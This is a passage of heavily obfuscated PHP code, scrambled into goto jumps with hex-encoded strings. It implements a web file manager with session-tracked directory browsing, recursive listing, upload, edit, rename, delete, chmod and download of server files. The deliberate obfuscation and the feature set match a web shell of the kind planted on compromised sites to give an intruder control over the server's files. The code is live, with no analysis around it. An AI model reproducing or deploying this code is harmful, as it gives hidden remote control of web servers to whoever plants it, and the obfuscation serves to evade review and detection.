"\x66\x69\x6c\x65\x5f\x63\157\156\164\x65\156\164" => "\143\x6f\156\164\145\x6e\164", "\x6e\x61\166\x69\147\x61\164\x65" => "\147\x6f\x74\157", "\x64\x6f\167\156\154\157\x61\144" => "\x67\145\x74\x5f\x66\x69\x6c\145", "\166\x69\x65\x77" => "\163\x68\x6f\x77", "\145\144\151\164" => "\155\157\x64\x69\146\171", "\x72\145\x6e\141\x6d\x65" => "\162\145\x6e\x61\155\x65\137\151\x74\x65\x6d", "\x63\x68\x6d\157\x64" => "\160\x65\162\x6d\163\137\x69\x74\145\155", "\163\x65\154\145\143\164\145\x64\137\151\164\145\155\163" => "\x69\x74\145\x6d\x73"); goto M7YJq; W43Xg: echo htmlentities($z1JY9); goto Q3RYI; vK_lD: @ini_set("\163\x65\163\x73\x69\157\x6e\x2e\143\157\157\153\x69\145\137\150\164\164\x70\x6f\156\x6c\171", "\61"); goto Oin1R; Z9QJ3: KCnKV: goto MqdC6; hgODR: qM8TS: goto TcIi9; aG_v3: goto cHjy0; goto vLysk; IFpoX: goto JEq3P; goto G1tb8; YclHI: goto hT7Rq; goto xvx4Q; ea1Ur: goto oK8qp; goto r7wjS; FEW3y: foreach ($XqpLW as $qGyu2) { goto I2db8; l7iYt: B8MRR: goto qEGC6; g5UNl: goto GoIKJ; goto jetyz; MRcL7: kMbnW: goto y5tGj; qEGC6: goto ChIaE; goto uoSW8; bzv1I: GoIKJ: goto E3ezI; brWgp: HYZvM: goto lY86v; Ux2Ke: LP2_0: goto Wu2S3; k3hNS: goto mOdol; goto zdhWt; Q_X3F: mOdol: goto MI30H; wPKAf: u5Ieh: goto k3hNS; IFzWf: $AAqLo[] = $qGyu2; goto pVvjk; MI30H: S3LVF: goto d3yZh; zdhWt: ibwoo: goto IFzWf; Ni0j9: YbjRx: goto Ux2Ke; rA3Hf: goto MLihA; goto MRcL7; lj9WU: goto u5Ieh; goto QtgqT; gQ88B: goto LP2_0; goto KLePy; c7VHF: MLihA: goto ZslOn; lY86v: if (!@is_dir($et0TV . DIRECTORY_SEPARATOR . $qGyu2)) { goto ELgZq; } goto gQ88B; pVvjk: goto kMbnW; goto c7VHF; vJ52N: goto MBGEN; goto c3VLD; y_qXn: if ($qGyu2 === "\x2e") { goto B8MRR; } goto dSqIF; skBBs: goto HYZvM; goto Ni0j9; dSqIF: goto Nq6By; goto l7iYt; E3ezI: goto LMQa1; goto Zc4qt; y5tGj: LMQa1: goto vJ52N; uoSW8: ChIaE: goto lj9WU; KLePy: ELgZq: goto rA3Hf; jetyz: seKul: goto clOD7; clOD7: Nq6By: goto skBBs; Zc4qt: goto YbjRx; goto Q_X3F; Wu2S3: goto ibwoo; goto bzv1I; U0VIW: MBGEN: goto wPKAf; ZslOn: $JhZUI[] = $qGyu2; goto g5UNl; I2db8: goto AGAhn; goto brWgp; QtgqT: goto seKul; goto U0VIW; c3VLD: AGAhn: goto y_qXn; d3yZh: } goto uv3aZ; higa2: goto rwN2h; goto JFzrA; XNYvg: $Ha841 = "\x45\144\151\x74\x20\146\x61\x69\x6c\x65\144\72\40\x43\157\165\x6c\144\x20\156\x6f\x74\x20\x77\162\x69\164\x65\40\x74\x6f\40\x66\151\154\145"; goto rMJFk; YFHLN: goto VrTaj; goto eZsQU; xsznN: gn7FH: goto NOSi2; Av6aS: goto FxHSk; goto DBEN9; m1pbC: goto uCs_y; goto WhT72; kDKsD: zV4xw: goto Gt2KA; ki032: goto RGn7u; goto kxhh8; nCOiW: nYSCO: goto DNqEW; CLKCm: goto vdRRV; goto dYCC6; OVWGT: ozcKb: goto Xg_3J; jswKD: L4Y4H: goto udDOF; u_5iR: goto IFlwA; goto iFwCV; wgyYB: goto RHex7; goto xIotN; yTZuV: CtsIF: goto lndq7; LiJvz: C9d_b: goto jYdt0; w8AEN: q9SVD: goto m1pbC; I3FoZ: IOx08: goto J6TGK; p3xCs: mns75: goto ftM83; sLiJ8: $Ha841 = "\103\162\145\141\x74\x65\40\x66\141\151\154\x65\144\x3a\40\x44\151\162\x65\x63\x74\x6f\x72\171\x20\156\x6f\164\40\167\162\x69\164\141\142\154\145"; goto Ccnaq; Nf0A8: pd4sa: goto I683E; E1R6t: goto W2S2I; goto a5dgk; Zho8h: echo "\74\x2f\164\x65\170\x74\x61\x72\x65\x61\76\12\40\40\x20\40\40\40\40\40\40\40\40\x20\40\40\40\40\x3c\144\x69\x76\x20\x73\164\171\x6c\145\x3d\42\155\141\x72\x67\x69\x6e\55\164\157\160\72\x20\x31\x32\x70\x78\x3b\40\144\x69\x73\160\154\x61\x79\x3a\x20\x66\154\145\170\x3b\x20\147\141\x70\72\40\70\160\170\x3b\42\76\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\74\x62\x75\x74\164\157\x6e\x20\143\154\141\x73\163\75\42\142\x74\156\x20\142\x74\x6e\x2d\x70\162\x69\155\141\x72\x79\42\40\x74\171\x70\x65\x3d\x22\163\165\142\x6d\x69\164\x22\x3e\123\141\166\145\x20\103\150\141\x6e\147\x65\x73\x3c\x2f\142\x75\x74\x74\x6f\x6e\x3e\12\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x3c\142\x75\x74\164\157\156\x20\x74\171\x70\x65\75\x22\x62\x75\x74\164\157\x6e\42\x20\143\x6c\x61\163\x73\75\42\142\164\156\40\142\164\x6e\55\147\150\157\x73\164\x22\x20\x6f\156\143\154\x69\143\153\75\x22\x6c\157\143\x61\164\x69\157\x6e\x2e\150\162\145\146\x3d\x6c\157\143\141\164\151\x6f\156\56\x70\x61\x74\150\x6e\141\x6d\145\x3b\x22\x3e\103\x61\156\x63\x65\154\x3c\x2f\x62\165\164\x74\x6f\x6e\76\12\40\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\74\x2f\144\x69\x76\76\xa\x20\40\x20\40\x20\40\40\40\40\40\40\x20\74\x2f\x66\x6f\162\155\76\12\x20\40\x20\x20\40\x20\x20\x20\x3c\57\144\x69\166\x3e\12\40\40\x20\x20\74\57\144\x69\166\76\12\40\40\x20\40"; goto qZDfD; jylcT: zatiz: goto RT03J; ihQZG: goto gt30o; goto N2m5g; uHbWi: goto H4FK3; goto yOwFZ; lUM_8: yRn66: goto O89_H; PNdo4: wwpsg: goto jheag; vP9tE: goto ik39a; goto ZlLRQ; BLSdS: wlirf: goto Uy6Ix; avTua: $Ha841 = "\x55\x70\x6c\x6f\x61\x64\40\x66\141\151\x6c\145\x64\72\40\104\151\x72\145\143\164\x6f\x72\x79\40\x6e\157\x74\x20\x77\162\x69\x74\141\x62\x6c\145"; goto lf48k; Sjy7e: yx1bB: goto Fvkyf; KttGc: oX5V7: goto HNUC0; pW3Sa: $Yvvjn = LcA48($_SESSION["\x63\x75\x72\x72\145\156\x74\137\x64\151\x72"] . DIRECTORY_SEPARATOR . $_POST["\163\145\164\x5f\160\145\x72\x6d\163"]); goto OlV0o; Up68n: echo dKZcY(); goto cZxDE; sSQ3U: if (isset($_POST["\x61\143\x74\137\x64\x65\154"]) && isset($_POST["\151\x74\145\155\163"]) && is_array($_POST["\151\164\145\155\x73"])) { goto u1tYz; } goto OqB1v; tWtPq: goto cAGpv; goto c344A; dC7v3: goto rifaG; goto pOcFO; eQ1yI: rGDLq: goto E1R6t; hQr7O: echo "\x22\x20\160\x6c\x61\x63\145\150\157\154\x64\145\x72\75\x22\x45\x6e\164\x65\162\x20\x70\141\x74\x68\56\x2e\56\x22\40\x73\164\171\x6c\x65\x3d\x22\146\x6c\x65\170\x3a\40\61\x3b\x22\76\xa\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\x20\x3c\x62\x75\164\x74\x6f\x6e\40\143\x6c\x61\x73\x73\x3d\42\142\164\x6e\40\x62\164\156\x2d\x70\x72\x69\x6d\x61\162\171\x22\x20\x74\171\x70\145\x3d\42\x73\x75\142\155\151\164\x22\76\x47\157\x3c\57\x62\165\x74\164\157\x6e\x3e\12\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\74\x2f\x66\x6f\162\x6d\76\xa\40\x20\x20\40\x20\40\x20\x20\x3c\57\x64\x69\x76\76\xa\x20\x20\x20\40\x3c\x2f\x64\x69\166\x3e\xa\12\40\40\40\x20\74\144\151\x76\x20\x73\164\171\x6c\145\x3d\42\x64\x69\x73\x70\x6c\x61\171\x3a\x20\x67\162\x69\x64\73\40\x67\x72\x69\144\x2d\x74\145\155\x70\x6c\141\x74\x65\x2d\143\x6f\x6c\x75\x6d\156\163\72\40\61\146\162\40\61\146\x72\73\40\147\141\x70\72\40\61\x36\160\170\73\40\155\141\162\x67\151\156\x2d\142\157\x74\x74\x6f\x6d\72\40\x32\x30\160\170\73\42\76\xa\x20\x20\40\x20\x20\x20\40\x20\74\x64\x69\166\x20\x63\154\x61\163\163\x3d\x22\x63\x61\162\x64\x22\x3e\xa\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\74\144\x69\x76\40\x63\x6c\x61\163\163\x3d\x22\x63\x61\162\144\x2d\150\x65\141\x64\x65\x72\42\x3e\xa\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x3c\x73\160\x61\x6e\x20\x63\154\x61\163\x73\75\42\143\141\x72\144\x2d\164\151\164\x6c\145\42\76\12\40\x20\40\x20\40\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\74\163\x76\147\40\x77\x69\144\x74\x68\75\x22\x31\x36\42\x20\150\x65\151\x67\x68\164\x3d\42\x31\x36\x22\40\x76\151\145\167\x42\157\170\75\x22\60\x20\60\40\62\64\40\62\x34\x22\40\x66\x69\154\x6c\75\42\x6e\157\156\145\42\40\163\164\162\157\x6b\145\75\x22\143\x75\x72\162\145\x6e\164\103\157\x6c\157\162\42\40\x73\164\x72\x6f\153\145\55\x77\151\x64\x74\x68\75\x22\62\42\x3e\74\x70\x61\x74\150\x20\144\x3d\x22\x4d\x32\61\40\x31\65\x76\64\141\62\x20\62\40\x30\x20\x30\x20\x31\55\62\40\62\x48\65\x61\x32\40\x32\40\x30\x20\x30\x20\x31\x2d\x32\55\x32\166\x2d\x34\x22\x2f\x3e\x3c\x70\157\154\x79\x6c\x69\x6e\x65\40\160\x6f\151\156\x74\163\x3d\42\x31\67\x20\x38\40\x31\62\x20\x33\x20\x37\40\70\42\x2f\x3e\x3c\x6c\x69\x6e\145\x20\x78\x31\75\42\x31\x32\x22\40\171\x31\x3d\42\63\42\x20\170\62\x3d\42\x31\x32\x22\x20\x79\x32\x3d\x22\x31\x35\x22\57\x3e\74\x2f\x73\166\x67\x3e\xa\x20\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x55\160\x6c\157\x61\144\40\106\151\x6c\x65\12\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\163\160\141\x6e\76\xa\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x3c\x2f\144\151\x76\x3e\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\74\x64\151\166\x20\143\154\141\163\163\x3d\42\x63\141\162\144\x2d\142\x6f\144\171\42\76\12\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x3c\144\151\x76\x20\x63\154\141\x73\x73\x3d\x22\165\x70\x6c\x6f\141\144\55\x74\141\x62\x73\x22\76\12\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\74\144\x69\x76\40\151\144\x3d\42\163\x74\141\156\x64\141\162\x64\55\x74\141\142\42\x20\143\x6c\141\x73\163\75\42\x75\160\154\157\141\x64\x2d\x74\141\x62\x20\x61\143\164\x69\166\x65\42\40\157\x6e\143\154\x69\143\153\x3d\42\x73\x77\151\x74\143\150\125\x70\154\157\x61\x64\x54\141\142\x28\47\163\x74\141\156\144\x61\x72\144\47\x29\x22\76\123\x74\141\156\144\141\162\x64\74\x2f\144\151\166\76\12\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\40\40\40\40\74\x64\151\166\40\151\x64\75\x22\x61\x64\166\x61\x6e\x63\145\x64\x2d\x74\141\x62\42\40\x63\154\141\163\x73\75\42\x75\160\154\157\141\144\55\164\141\142\x22\40\157\156\143\154\x69\143\x6b\x3d\42\x73\x77\x69\x74\143\150\125\x70\x6c\x6f\141\144\124\x61\142\50\x27\141\x64\166\141\x6e\143\x65\144\47\51\42\76\101\x64\166\141\156\x63\x65\144\74\x2f\144\x69\166\x3e\12\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\40\x20\74\x2f\144\x69\166\x3e\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x3c\144\151\166\x20\151\144\x3d\42\163\164\x61\x6e\144\x61\162\x64\x2d\x70\x61\x6e\x65\x6c\42\x20\x63\x6c\x61\x73\x73\75\42\165\160\x6c\157\x61\x64\x2d\160\141\156\x65\x6c\40\x61\143\x74\151\166\x65\x22\x3e\xa\40\40\40\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\74\146\157\162\x6d\40\x6d\x65\164\150\157\x64\x3d\x22\160\157\x73\164\42\x20\145\156\143\x74\x79\160\x65\75\42\x6d\x75\154\x74\x69\160\x61\162\x74\x2f\146\157\x72\155\x2d\144\x61\164\x61\42\x3e\12\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\x20"; goto haEp_; CdzkD: goto ReXRD; goto WLv3F; wn3aw: goto MrJHG; goto lpxsf; LVxqm: AHyLL: goto emBik; i3YL4: goto j2lvW; goto pNaBk; j0tsd: goto MsSR0; goto JK1QE; XI211: goto YgvbD; goto vt10t; s8iPp: r3r3Z: goto tC8CB; NfI_2: goto eLd0x; goto wfosc; Dzz1Y: goto jWtqT; goto kGvzo; plvbx: mO3nF: goto QhACF; QVQ3M: lcFQ3: goto fbdkT; Qovzr: NJeZb: goto CKaFn; FPjp2: GLO2o: goto dEomg; VdSqd: goto Z2_Mp; goto Qolxq; Fj3bl: Yk22t: goto nvguI; XFHZq: OX3oQ: goto Kh6Mi; tWWe2: goto AqPyY; goto IVjSc; S5CiS: goto hqzYV; goto it9Hd; Ew_b3: goto VSiRA; goto fKCb_; GQlih: if (!isset($_SESSION)) { goto kr2ms; } goto u_5iR; VkJam: RGn7u: goto DEtXz; bMTtf: if (!$rlZEq) { goto J2Ktw; } goto jho7I; utJyI: function Xx_Qd($ZX2Wk, &$krS6l, $el09a = '') { goto sIr4T; Qm3Wb: pBa9n: goto G2hAJ; PBR1K: goto pBa9n; goto wXfCP; tF10u: return; goto vGedP; oA_35: jZWt9: goto sm2l4; G2hAJ: VKSo6: goto BBPw1; wXfCP: HC3Qr: goto wmDJv; qBMHM: Snkee: goto zC_Nu; wrSDi: PKq1o: goto NIYtG; znCqt: Yykuv: goto dLUoh; qttAe: H60up: goto vSAX0; BBPw1: goto H60up; goto znCqt; xapad: i9oR_: goto tF10u; Tf6GT: goto SsUX5; goto oA_35; dLUoh: $RFQij = @scandir($ZX2Wk); goto BQkP5; iDNh2: goto PKq1o; goto Qm3Wb; BQkP5: goto Snkee; goto qBMHM; zC_Nu: if ($RFQij === false) { goto jZWt9; } goto Tf6GT; gudXf: IqesN: goto PBR1K; NIYtG: foreach ($RFQij as $qGyu2) { goto LCDO2; WQlws: MtJLO: goto AakV2; IOpTo: YZvco: goto pjw2B; LTVR6: goto PdANd; goto olZuI; w0bKt: goto aNAYg; goto wiZpu; llsWJ: if ($qGyu2 === "\x2e" || $qGyu2 === "\x2e\56") { goto YZvco; } goto xEGvr; GbG_X: goto aE_yu; goto LxnI4; Hsh2q: goto bPncl; goto p_j6f; JtTIF: $UGszn = $ZX2Wk . DIRECTORY_SEPARATOR . $qGyu2; goto ZIq3_; BHRJN: VJ7ia: goto A8Co5; B_Aor: $Xorvg = $el09a === '' ? $qGyu2 : $el09a . "\x2f" . $qGyu2; goto Hsh2q; hNzDf: goto soOVM; goto V10g0; NnDvD: bPncl: goto d66TA; xEGvr: goto gKcuD; goto IOpTo; PoF5X: soOVM: goto cqfPf; A8Co5: xx_qd($UGszn, $krS6l, $Xorvg); goto hNzDf; V10g0: mq1YL: goto W7tbV; iIqsE: goto pSx57; goto Q5IEw; XGyIl: goto mq1YL; goto NnDvD; EpCJ6: goto CVAS3; goto PpQlA; LxnI4: aE_yu: goto bOdo1; Q5IEw: qDnDt: goto WQlws; PwOOl: goto qDnDt; goto Zdp2J; wEYpL: gKcuD: goto iIqsE; wiZpu: xrPgD: goto wEYpL; ZIq3_: goto Wa4_0; goto pYIwx; GwY_K: goto Q1X05; goto P_HAt; nq_Qm: goto VJ7ia; goto PoF5X; EEVf0: goto uKclM; goto nxi0_; W7tbV: $krS6l[] = array("\x74\x79\160\145" => "\x64\151\162", "\160\x61\164\x68" => $UGszn, "\x72\145\x6c" => $Xorvg); goto nq_Qm; wGY4d: uKclM: goto XGyIl; Zdp2J: CVAS3: goto wGY4d; PpQlA: Wa4_0: goto B_Aor; bw6xO: $krS6l[] = array("\x74\x79\160\145" => "\146\x69\154\145", "\160\141\x74\150" => $UGszn, "\162\145\x6c" => $Xorvg); goto GwY_K; pjw2B: goto q_feN; goto BnIeA; BnIeA: Q1X05: goto ZvtC7; bOdo1: PdANd: goto PwOOl; nxi0_: sBC3B: goto w0bKt; LCDO2: goto kNF7x; goto t7Noh; pYIwx: kNF7x: goto llsWJ; P_HAt: pSx57: goto JtTIF; p_j6f: q_feN: goto LTVR6; olZuI: goto xrPgD; goto BHRJN; t7Noh: aNAYg: goto bw6xO; ZvtC7: goto GNcN1; goto EpCJ6; d66TA: if (!@is_dir($UGszn)) { goto sBC3B; } goto EEVf0; cqfPf: GNcN1: goto GbG_X; AakV2: } goto gudXf; sIr4T: goto Yykuv; goto wrSDi; vGedP: goto HC3Qr; goto qttAe; wmDJv: SsUX5: goto iDNh2; sm2l4: goto i9oR_; goto xapad; vSAX0: } goto PiHJa; SMDb0: ahztk: goto VHc2_; y7cZJ: Q5jxp: goto IJmQj; BY905: ApSUr: goto IXcvg; USDjv: kkXz2: goto bHcdB; yqEP7: J8ftT: goto Ku3ck; cKkob: Mtx1q: goto rRyR2; WuFqV: WL_yV: goto jS45A; bnMFG: goto sx0FJ; goto US8JP; jqkiy: Mwreo: goto BNk_w; uizvF: goto O7Ngn; goto Z9QJ3; H8ecm: goto aKsDH; goto eKBhx; wCrtr: goto TalDr; goto r6YbS; l99ZO: goto JIwgN; goto bFJtJ; wWDUW: @unlink($GId_d); goto CdzkD; eHu0Q: echo "\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\74\151\x6e\160\165\x74\40\x74\x79\x70\x65\75\x22\164\x65\170\x74\42\x20\x6e\141\155\145\x3d\x22\x67\157\164\157\42\40\x76\141\154\165\145\75\x22"; goto iisrt; dCVBa: m0cFN: goto tY8YB; xy1zY: jQMiO: goto yLZ3v; WYPTd: bNVNU: goto fNNiw; DY5Ev: LyCWi: goto B_lXp; Ew1hV: goto ADy6K; goto pBJjw; cCyvv: goto NzXpi; goto qlMR3; YtDEX: K3ivk: goto QQaUD; JFzrA: lOkoz: goto unnQr; XsE0E: goto y8ybC; goto nc1oW; qX_Ot: goto QngqG; goto q2s31; xwD4a: if (!(strpos($zEfFD, "\x2e\56") !== false || strpos($zEfFD, "\x2f") !== false || strpos($zEfFD, "\x5c") !== false)) { goto D22Ln; } goto FQGlH; xT65o: CWlGw: goto SaXP1; b5PkO: goto QL4eE; goto IP2ij; gPcxE: goto TalDr; goto trEYJ; XR_k4: Y2F2Y: goto le9QZ; x3eM5: goto IOx08; goto E24xL; jS45A: $txf3z = defined("\x59\131\155\x4e\146") || defined("\116\x59\x38\156\126"); goto A4EJe; M0E9d: $a_Vf4 = lcA48($_SESSION["\x63\165\x72\162\x65\x6e\164\x5f\x64\151\162"] . DIRECTORY_SEPARATOR . $_POST["\x66\162\157\x6d\x5f\156\x61\x6d\145"]); goto ZJGrw; IF9JU: jkkEG: goto MlKFS; HNUC0: $z1JY9 = "\106\151\154\x65\x20\x75\160\154\x6f\141\x64\x65\x64\x20\x73\x75\x63\143\145\x73\x73\x66\165\x6c\x6c\171"; goto X0ZX5; zCQC3: goto IrKWn; goto oU8kY; EGHwf: if (isset($_SERVER["\x48\x54\x54\120\123"]) && $_SERVER["\110\x54\x54\120\x53"] !== "\157\x66\x66") { goto Gle0K; } goto KrMHa; Z60rC: goto p4z7U; goto yZw0F; HcCka: goto riLXH; goto gtyWJ; PiHJa: goto S7G2q; goto KrKB9; UdhS3: q2wPK: goto MZ5Qb; Bl2dQ: if (!($HfFpu > 0)) { goto S8RQ5; } goto oMufF; A3AqQ: if (!@is_file($Yvvjn)) { goto h7AOW; } goto roEiA; sa6Cc: hDo3u: goto IktLe; wVMzp: V6olU: goto mSzdb; UWSM6: $_SESSION["\143\165\162\162\145\x6e\x74\x5f\x64\151\162"] = $et0TV; goto NZOZP; SsEQh: goto Cx8kz; goto kPT5M; xkaN5: eJ5UP: goto djOnD; bTJ08: goto j48jp; goto f2PIW; sO6YJ: goto Bv9PW; goto Fuc8T; dNZaE: $QGkWO = rtrim($_SESSION["\143\x75\x72\162\x65\x6e\164\x5f\x64\151\x72"], "\57\134") . DIRECTORY_SEPARATOR . $zEfFD; goto q48qZ; kptWd: echo htmlentities(dirname($et0TV)); goto UWZh2; FhMz7: goto LbsTX; goto xNcqS; h5lRR: $Ha841 = "\125\x70\154\x6f\x61\144\40\x65\x72\x72\157\x72\x3a\x20" . (isset($YOkzX[$jgs22]) ? $YOkzX[$jgs22] : "\x55\156\153\x6e\x6f\x77\x6e\x20\x65\162\162\157\x72"); goto q8yEw; CmSOJ: EYuju: goto sSQ3U; CnmdE: K2g1y: goto wFkmn; tY8YB: W4lVy: goto UEj_a; jnIo6: goto wQzf9; goto Fj3bl; PQl0W: E7oHb: goto q3_oe; OO78x: e6ZdN: goto Vplrn; puDFd: header("\130\55\106\162\x61\155\145\55\x4f\x70\x74\151\157\x6e\x73\72\x20\104\105\x4e\131"); goto Zjm0O; m5UYj: D22Ln: goto ebu02; x330s: cAGpv: goto uJ2kg; NMDC7: n1l4v: goto qylRc; K0d2Q: goto wv3NE; goto d6ZY6; SaXP1: sort($JhZUI); goto OCmi7; G1tb8: wtRxu: goto id4Gm; QnN0y: goto HL9U6; goto gExv0; IXHqR: fwf02: goto Up68n; OMQn8: nXTip: goto rSsnP; v3Geh: goto YQTGw; goto U1ghH; F6zsl: if (@is_writable($jLwb5)) { goto Mx8IB; } goto VLOQA; dgx0P: H8ID5: goto mWm7b; bcpQp: MgI9S: goto qmApk; sFYkm: if (!Gemdm($Yvvjn)) { goto FZ9VX; } goto x9xe9; lOEa1: fwrite($krS6l, $fHI6p); goto bRCix; j3L8G: if ($z1JY9) { goto muNMh; } goto HQv1o; G0PXO: if ($ooDUO !== false) { goto q9SVD; } goto q4LoN; ifCJX: goto XMeTa; goto lzcaU; N4UiZ: JotJm: goto KIebr; wR5Jc: JqAzV: goto cj5AF; vt10t: W23xc: goto eY_a7; J2xTl: fiPaq: goto YJmYe; Uy6Ix: $lYApr = isset($_POST["\163\x68\x6f\x77"]) ? $_POST["\x73\150\157\x77"] : null; goto I6M5j; luap5: goto RJJ8N; goto u3TCR; s6FTp: IY7pQ: goto zOeXp; n2Q6w: goto vLOK_; goto JWAzr; OahYJ: if (!@file_exists($BIRKS)) { goto RzOAZ; } goto cTNsY; ZhlCf: goto FwinT; goto Ks5R2; RDkyh: IuPOv: goto bvpnF; gv1G6: FZDAi: goto zkdds; uBaw_: goto dBj8a; goto ZPlve; le9QZ: MrJHG: goto Er66G; R8zXV: goto ohrUn; goto Fd8Mr; GZjRu: $ZU14D = function_exists("\163\145\x73\163\x69\157\x6e\137\x73\164\x61\x74\x75\163") ? session_status() === PHP_SESSION_NONE : session_id() === ''; goto hj2A3; IZkI0: R7M0x: goto gc7f9; ypGoT: N2NS5: goto wYiEG; XaqRB: @mkdir($H_eTv, 0755, true); goto d4KZi; He_A7: PSVlq: goto Nf0A8; jheag: mz3vQ: goto n11P5; HaXvX: goto GGbyG; goto PSmNt; EicWK: http_response_code(200); goto m4OyU; mkSEF: echo htmlentities($gGqEA); goto B1Xso; wLpnA: So03e: goto IqvO5; zHwsj: wSqzr: goto o4mgw; V9zcL: aeSYw: goto RwJrF; Ns1YM: Orl42: goto hzAoO; EGE5o: $Ha841 = "\104\x6f\x77\x6e\154\157\141\144\40\x66\141\x69\x6c\145\x64\72\x20\x61\x72\143\150\151\x76\145\x20\164\157\157\x6c\x73\40\165\156\141\166\x61\151\154\x61\x62\x6c\145\40\x6f\x6e\x20\164\150\x69\163\40\163\145\162\166\x65\x72"; goto YjOr2; Agi_Q: goto RbBZN; goto vMB7E; z7T5m: goto Flp0U; goto OPFA2; bsuv1: function q3fZn($ToQ90) { goto GKkLx; ztNQ3: goto waAgu; goto nCE3G; GKkLx: goto K1W5b; goto fmW6s; VFEwB: goto TSYeM; goto jqaaq; OSFxT: ADPVf: goto GRPtZ; nwkiC: goto rA9mX; goto Hvr6H; O3GjQ: goto ec1Og; goto TxFEJ; gRq34: goto hasae; goto R9tFZ; k0LyP: goto kUqUJ; goto XPlCA; YeHCr: if (@is_dir($ToQ90) || @is_file($ToQ90)) { goto fwTtX; } goto O3GjQ; dFwzo: goto qpAW4; goto v9A9u; p2c0Z: return false; goto iV1BJ; E_3zu: rA9mX: goto k5x4m; BBcDB: if (strpos($ToQ90, "\56\56") !== false) { goto uq_Fi; } goto b9Mbi; v9A9u: ay_Sq: goto GO2DW; FEeJw: return $ToQ90; goto nwkiC; irMkP: goto ay_Sq; goto dwF3z; dwF3z: TSYeM: goto QUEc8; rNas0: HT66U: goto OE16q; jqaaq: K1W5b: goto BBcDB; vOjES: k2u_w: goto FEeJw; btYo1: MXRUs: goto gOX28; k5x4m: ec1Og: goto yFWd0; MKq7N: lMmt5: goto FMezl; GO2DW: if ($GVd0p !== false) { goto z_9sE; } goto k0LyP; XPlCA: z_9sE: goto VFEwB; OE16q: $GVd0p = @realpath($ToQ90); goto irMkP; b9Mbi: goto lMmt5; goto EiI93; Hvr6H: qpAW4: goto zGYj_; EiI93: uq_Fi: goto gRq34; nCE3G: hasae: goto p2c0Z; QUEc8: return $GVd0p; goto dFwzo; zGYj_: kUqUJ: goto ztNQ3; syWsG: goto ADPVf; goto OSFxT; fmW6s: lblle: goto MKq7N; yFWd0: goto MXRUs; goto btYo1; R9tFZ: waAgu: goto YeHCr; gOX28: return false; goto syWsG; iV1BJ: goto lblle; goto rNas0; xg6RM: goto k2u_w; goto E_3zu; FMezl: goto HT66U; goto vOjES; TxFEJ: fwTtX: goto xg6RM; GRPtZ: } goto TsvSV; AKCTk: if (isset($_POST["\145\144\151\164\137\146\x69\x6c\145"], $_POST["\x63\157\x6e\164\145\156\x74"])) { goto K1BCG; } goto IyJa4; YRkQ1: Az7oK: goto P8dqz; zece9: goto aACD9; goto zubJJ; Zebj3: be4gk: goto yTnEP; T21ak: Xwuhe: goto ilLQx; OvMMl: zMhN6: goto ojnXK; AhewU: xFa1d: goto pe76s; ymZd3: DRVFb: goto t2y3p; O89_H: if (@ob_get_level() > 0) { goto VMj_a; } goto RINKq; edKjH: AIT81: goto vD2Bj; z_VfY: w4_Fm: goto n1Jeu; nzk_B: goto mO3nF; goto LAldB; vNNdR: goto gh65r; goto EZZGi; Dc_Tw: goto St2nA; goto Zebj3; nxMS7: K5okl: goto cLHOG; Tpe1G: goto hDo3u; goto x8iQo; w_5Of: XS0_2: goto Pkkht; xrrRf: if ($_SERVER["\122\x45\x51\125\x45\123\124\137\x4d\105\124\x48\x4f\104"] === "\120\x4f\123\x54") { goto RjKg6; } goto nyBdT; DKZbQ: l469A: goto RZ8ri; UfuZH: goto Ia6Hg; goto JSj2U; E8T57: dBj8a: goto hGHLL; S9XGk: goto vW1vE; goto QwqYt; QnETv: I6XXx: goto oe9pC; HwxYX: $UHrxO = false; goto pfZCr; dE2Am: goto aPECZ; goto IYxse; c1vgo: goto fwf02; goto JLf76; FNnQA: T6NJ5: goto FEW3y; Vocdm: goto tWY9R; goto Kz6aN; t5YjR: HKmcd: goto eX2XT; PSmNt: gVyLk: goto PE6fa; RDmAG: goto ves3J; goto jC4ft; ENmPB: SEU09: goto Ew_b3; duPeO: o4PCX: goto bsuv1; NfBRI: SXfZf: goto vdJoC; S842F: @ini_set("\x73\x65\x73\x73\x69\x6f\x6e\56\163\141\166\145\137\x70\x61\164\x68", $X_CY3); goto CrntC; KJwWu: Scy48: goto IFPFs; mRUrK: goto RuJxJ; goto ZBpOq; WoyO7: Wto_s: goto e10SG; ISH6W: btKMC: goto gGx1J; KsT2f: WWZUU: goto hOLah; RwJrF: goto tOjlu; goto IxoRM; J5iTG: ZpS2T: goto Dz1CD; XyAZ9: M3Qnz: goto YE_F3; syHOh: goto FxHSk; goto Z4Oai; ia6kJ: S8RQ5: goto PUCAW; rlPRr: tWY9R: goto KWLsO; aJYPC: $AOXDJ = array_merge($AAqLo, $JhZUI); goto jpRDt; Zh1Z0: R8JpY: goto HgZiU; G4sFj: vdRRV: goto RmTsh; euvp4: hqzYV: goto y7cZJ; B1FFA: Yu7_8: goto TH7Hm; yTnEP: goto dRKiE; goto MQCST; NW5Q_: $Ha841 = "\103\162\145\x61\x74\145\40\x66\141\x69\x6c\x65\144\x3a\40\x46\157\154\144\x65\x72\x20\141\154\162\x65\141\144\x79\x20\145\x78\x69\x73\164\x73"; goto tuJps; FxhRo: goto GifM6; 